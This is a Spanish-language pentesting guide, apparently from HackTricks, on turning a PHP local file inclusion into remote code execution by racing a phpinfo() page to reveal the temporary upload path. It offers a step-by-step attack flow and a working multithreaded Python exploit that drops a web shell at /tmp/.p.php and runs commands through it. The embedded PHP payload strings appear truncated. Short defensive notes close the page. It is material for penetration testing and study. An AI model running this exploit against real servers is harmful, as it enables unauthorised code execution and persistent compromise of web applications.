# LFI to RCE via PHPInfo {{#include ../../banners/hacktricks-training.md}} Para explotar esta técnica necesitas todo lo siguiente: - Una página accesible que muestre la salida de phpinfo(). - Una Local File Inclusion (LFI) primitiva que controles (p. ej., include/require sobre entrada del usuario). - Subidas de archivos en PHP habilitadas (file_uploads = On). Cualquier script PHP aceptará uploads multipart de RFC1867 y creará un archivo temporal por cada parte subida. - El proceso PHP debe poder escribir en upload_tmp_dir configurado (o en el directorio temporal del sistema por defecto) y tu LFI debe poder incluir esa ruta. Documentación clásica y PoC original: - Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) - Original PoC script name: phpinfolfi.py (see whitepaper and mirrors) Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s Notas sobre el PoC original - La salida de phpinfo() está codificada en HTML, por lo que la flecha "=>" a menudo aparece como "=>". Si reutilizas scripts antiguos, asegúrate de que busquen ambas codificaciones al parsear el valor _FILES[tmp_name]. - Debes adaptar el payload (tu código PHP), REQ1 (la request al endpoint phpinfo() incluyendo padding), y LFIREQ (la request a tu LFI sink). Algunos objetivos no necesitan un terminador null-byte (%00) y las versiones modernas de PHP no lo respetan. Ajusta LFIREQ según el sink vulnerable. Ejemplo sed (solo si realmente usas el PoC antiguo en Python2) para coincidir con la flecha codificada en HTML: ``` sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py ``` {{#file}} LFI-With-PHPInfo-Assistance.pdf {{#endfile}} ## Teoría - Cuando PHP recibe un POST multipart/form-data con un campo de archivo, escribe el contenido en un archivo temporal (upload_tmp_dir o el valor por defecto del sistema operativo) y expone la ruta en $_FILES['']['tmp_name']. El archivo se elimina automáticamente al final de la petición a menos que se mueva/renombre. - El truco es averiguar el nombre temporal e incluirlo mediante tu LFI antes de que PHP lo limpie. phpinfo() imprime $_FILES, incluyendo tmp_name. - Al inflar los headers/parámetros de la petición (padding) puedes provocar que fragmentos tempranos de la salida de phpinfo() se vacíen al cliente antes de que la petición termine, de modo que puedas leer tmp_name mientras el archivo temporal todavía existe y, acto seguido, invocar el LFI con esa ruta. En Windows los archivos temporales suelen estar bajo algo como C:\\Windows\\Temp\\php*.tmp. En Linux/Unix normalmente están en /tmp o en el directorio configurado en upload_tmp_dir. ## Flujo de ataque (paso a paso) 1) Prepara un payload PHP pequeño que persista una shell rápidamente para evitar perder la carrera (escribir un archivo suele ser más rápido que esperar a un reverse shell): ``` '); ``` 2) Envía un POST multipart grande directamente a la página phpinfo() para que cree un archivo temporal que contenga tu payload. Infla varios headers/cookies/params con ~5–10KB de padding para fomentar una salida temprana. Asegúrate de que el nombre del campo del formulario coincida con lo que vas a parsear en $_FILES. 3) Mientras la respuesta de phpinfo() aún se está transmitiendo, parsea el cuerpo parcial para extraer $_FILES['']['tmp_name'] (codificado en HTML). En cuanto tengas la ruta absoluta completa (p. ej., /tmp/php3Fz9aB), dispara tu LFI para incluir esa ruta. Si include() ejecuta el archivo temporal antes de que se elimine, tu payload se ejecuta y deja /tmp/.p.php. 4) Usa el archivo creado: GET /vuln.php?include=/tmp/.p.php&x=id (o dondequiera que tu LFI permita incluirlo) para ejecutar comandos de forma fiable. > Tips > - Usa múltiples workers concurrentes para aumentar tus posibilidades de ganar la carrera. > - Ubicaciones de padding que suelen ayudar: parámetro URL, Cookie, User-Agent, Accept-Language, Pragma. Ajusta según el objetivo. > - Si el sink vulnerable añade una extensión (p. ej., .php), no necesitas un null byte; include() ejecutará PHP independientemente de la extensión del archivo temporal. ## PoC mínimo de Python 3 (basado en sockets) El fragmento a continuación se centra en las partes críticas y es más fácil de adaptar que el script legacy en Python2. Personaliza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD. ```python #!/usr/bin/env python3 import re, html, socket, threading HOST = 'target.local' PORT = 80 PHPSCRIPT = '/phpinfo.php' LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path THREADS = 10 PAYLOAD = ( "'); ?>\r\n" ) BOUND = '---------------------------7dbff1ded0714' PADDING = 'A' * 6000 REQ1_DATA = (f"{BOUND}\r\n" f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") def race_once(): s1 = socket.socket() s2 = socket.socket() s1.connect((HOST, PORT)) s2.connect((HOST, PORT)) s1.sendall(REQ1.encode()) buf = b'' tmp = None while True: chunk = s1.recv(4096) if not chunk: break buf += chunk m = pat.search(html.unescape(buf.decode(errors='ignore'))) if m: tmp = m.group(1) break ok = False if tmp: req = (LFI % tmp).encode() % HOST.encode() s2.sendall(req) r = s2.recv(4096) ok = b'.p.php' in r or b'HTTP/1.1 200' in r s1.close(); s2.close() return ok if __name__ == '__main__': hit = False def worker(): nonlocal_hit = False while not hit and not nonlocal_hit: nonlocal_hit = race_once() if nonlocal_hit: print('[+] Won the race, payload dropped as /tmp/.p.php') exit(0) ts = [threading.Thread(target=worker) for _ in range(THREADS)] [t.start() for t in ts] [t.join() for t in ts] ``` ## Solución de problemas - You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present. - La salida no se envía temprano: aumenta el padding, añade más encabezados grandes, o envía múltiples solicitudes concurrentes. Algunos SAPI/buffers no vacían hasta umbrales mayores; ajústalos en consecuencia. - LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector. - Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI. ## Notas defensivas - Nunca expongas phpinfo() en producción. Si es necesario, restringe por IP/autenticación y elimínalo después de usarlo. - Mantén file_uploads deshabilitado si no es necesario. De lo contrario, restringe upload_tmp_dir a una ruta que no sea alcanzable por include() en la aplicación y aplica validación estricta en cualquier ruta de include/require. - Trata cualquier LFI como crítico; incluso sin phpinfo(), existen otras rutas de LFI→RCE. ## Técnicas relacionadas de HackTricks {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} {{#ref}} via-php_session_upload_progress.md {{#endref}} {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} ## Referencias - LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf - PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php {{#include ../../banners/hacktricks-training.md}}